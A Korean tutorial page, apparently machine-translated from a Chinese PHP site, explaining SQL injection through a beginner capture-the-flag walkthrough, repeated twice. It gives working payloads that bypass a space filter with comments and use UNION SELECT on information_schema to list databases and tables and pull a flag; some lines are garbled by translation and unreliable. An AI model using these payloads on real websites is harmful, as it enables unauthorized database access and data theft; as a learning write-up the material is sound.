집 >데이터 베이스 >MySQL 튜토리얼 >SQL 인젝션 관련 간단한 예시
소위 SQL 주입이란 웹 양식 제출에 SQL 명령을 삽입하거나 페이지 요청에 대한 도메인 이름이나 쿼리 문자열을 입력하여 궁극적으로 서버를 속여 악성 SQL 명령을 실행하도록 하는 것입니다. 다음으로 간단한 SQL 인젝션 방법을 공유하겠습니다. 함께 살펴보겠습니다
소위 SQL 인젝션은 웹 양식 제출에 SQL 명령을 삽입하거나 도메인 이름이나 페이지 요청에 대한 쿼리 문자열을 입력하여 궁극적으로 서버를 속이는 것입니다. 악의적인 SQL 명령을 실행합니다. 구체적으로는 기존 애플리케이션을 이용해 백엔드 데이터베이스 엔진에 (악의적인) SQL 명령을 주입해 실행하는 기능이다. 오히려 웹 폼에 (악의적인) SQL 문을 입력해 보안 취약점이 있는 웹사이트의 정보를 얻을 수 있다. 디자이너가 의도한 대로 SQL 문을 실행하는 것보다 예를 들어, 이전의 많은 영화 및 TV 웹사이트에서는 주로 웹 양식을 통해 쿼리 문자를 제출하여 VIP 회원 비밀번호를 유출했습니다. 이러한 양식은 특히 SQL 삽입 공격에 취약합니다.
각각 1, 2, 3을 입력하면 해당 결과가 나옵니다
'를 사용하면 오류가 보고되므로
일반적으로 사용되는 SQL 문을 구성합니다: 1' 및 '1'='1
응답이 없습니다. 시도해 보세요. 1' 및 '1'='2
아직도 응답이 없습니다. 도구 설명, 뭔가 필터링해야 합니다. SQL 문을 변경해 보세요
1and1=1
공백이 필터링된 것으로 판단한 후 /**/ 공백을 바꾸려면
1'/*을 시도해 보세요*/'1'='1
결과를 찾았습니다:
그래서 우리는 SQL 문을 만들었습니다:
어떤 데이터베이스가 있는지 판단하세요:
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
결과를 볼 수 있습니다:
어떤 데이터인지 확인하세요 테이블은 다음과 같습니다:
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
플래그 테이블을 찾았습니다. 이는 web1 데이터베이스에 있어야 하고 필드는 플래그입니다(실제로 이 페이지의 데이터베이스에 있음)
그래서:
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
저도 초보입니다. 많은 빅님들의 WP를 참고해서 작성하신 후 지적해주시면 감사하겠습니다.
페이지 프롬프트에 따르면 정확히 무엇이 필터링되나요? 필터링된 내용을 알 수 있습니다...
각각 1, 2, 3을 입력하면 해당 결과가 나타납니다
'을 사용하면 오류가 보고되므로
일반적으로 사용되는 SQL 문을 구성합니다: 1' 및 '1'='1
응답이 없습니다. 시도해 보세요. 1' 및 '1'='2
아직도 응답이 없습니다. 도구 설명, 뭔가 필터링해야 합니다. SQL 문을 변경해 보세요
1and1=1
은 공백이 필터링되었는지 확인하기 위해 /*를 사용하여 내용을 표시할 수 있습니다.*/그리고/**&*&*/'1'='1
을 사용하여 결과를 찾습니다.
그래서 우리는 sql 문을 작성합니다.
어떤 데이터베이스가 있는지 확인합니다.
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
어떤 데이터 테이블이 있는지 확인합니다.
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
플래그 테이블을 찾았습니다. web1 데이터베이스에서 해당 필드는 플래그입니다(실제로 이 페이지의 데이터베이스에 있음)
그래서:
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
위 내용은 SQL 인젝션 관련 간단한 예시의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!